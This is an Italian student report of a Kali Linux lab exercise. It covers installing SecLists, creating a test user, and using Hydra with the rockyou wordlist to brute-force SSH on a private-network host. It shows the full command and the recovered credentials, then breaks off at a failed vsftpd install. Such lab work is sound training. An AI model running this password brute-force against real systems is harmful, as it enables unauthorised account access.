

Report

Quando stavo sistemando alcune configurazioni prima nello svolgere gli esercizi ho avuto alcuni problemi

1 - nell'installazione della seclists mi è comparso un errore "Error: Unable to locate package seclists"
Allora per risolverlo ho dovuto clonare con il github "sudo git clone --depth 1
<https://github.com/danielmiessler/SecLists.git> /usr/share/seclists"

```
(kali㉿kali)-[~]  
└─$ sudo git clone --depth 1 https://github.com/danielmiessler/SecLists.git /usr/share/seclists  
Cloning into '/usr/share/seclists'...  
remote: Enumerating objects: 6037, done.  
remote: Counting objects: 100% (6037/6037), done.

Resolving deltas: 100% (2060/2060), done.  
Updating files: 100% (6260/6260), done.
```

2- Togliere i permessi al root dato che non si può allora scrivo i comandi sudo service ssh start per abilitare il servizio ssh e sudo adduser test_user per abilitare i permessi nella creazione di un secondo utente e digito la password con testpass

```
(kali㉿kali)-[~]  
└─$ sudo adduser test_user  
info: Adding user `test_user' ...  
info: Selecting UID/GID from range 1000 to 59999 ...  
info: Adding new group `test_user' (1001) ...  
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...  
info: Creating home directory `/home/test_user' ...  
info: Copying files from `/etc/skel' ...  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
  Full Name []: test_user  
  Room Number []: 1  
  Work Phone []: +37 3711189472  
  Home Phone []:  
  Other []: Ciao  
Is the information correct? [Y/n] Y  
info: Adding new user `test_user' to supplemental / extra groups `users' ...  
info: Adding user `test_user' to group `users' ...
```

Risolto il problema ora ci interfacciamo su Hydra.

```
hydra -l monkey -P /home/kali/Desktop/rockyou.txt 192.168.1.201 ssh
```

(kali㉿kali)-[~/Desktop]

\$ hydra -l monkey -P /home/kali/Desktop/rockyou.txt 192.168.1.201 ssh

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (<https://github.com/vanhauser-thc/thc-hydra>) starting at 2026-05-15 11:57:35

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344401 login tries (l:1/p:14344401), ~896526 tries per task

[DATA] attacking ssh://192.168.1.201:22/

[22][ssh] host: 192.168.1.201 login: monkey password: superman

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 2 final worker threads did not complete until end.

[ERROR] 2 targets did not resolve or could not be connected

[ERROR] 0 target did not complete

Hydra (<https://github.com/vanhauser-thc/thc-hydra>) finished at 2026-05-15 11:57:48

Scovata la password con ssh ora provo con il tcp e per attivare il servizio digito sudo apt install vsftpd e dopo di che lo avvio con sudo service vsftpd start

(kali㉿kali)-[~/Desktop]

\$ sudo apt install vsftpd

Error: Unable to locate package vsftpd

Ma rimango bloccato in tale problema
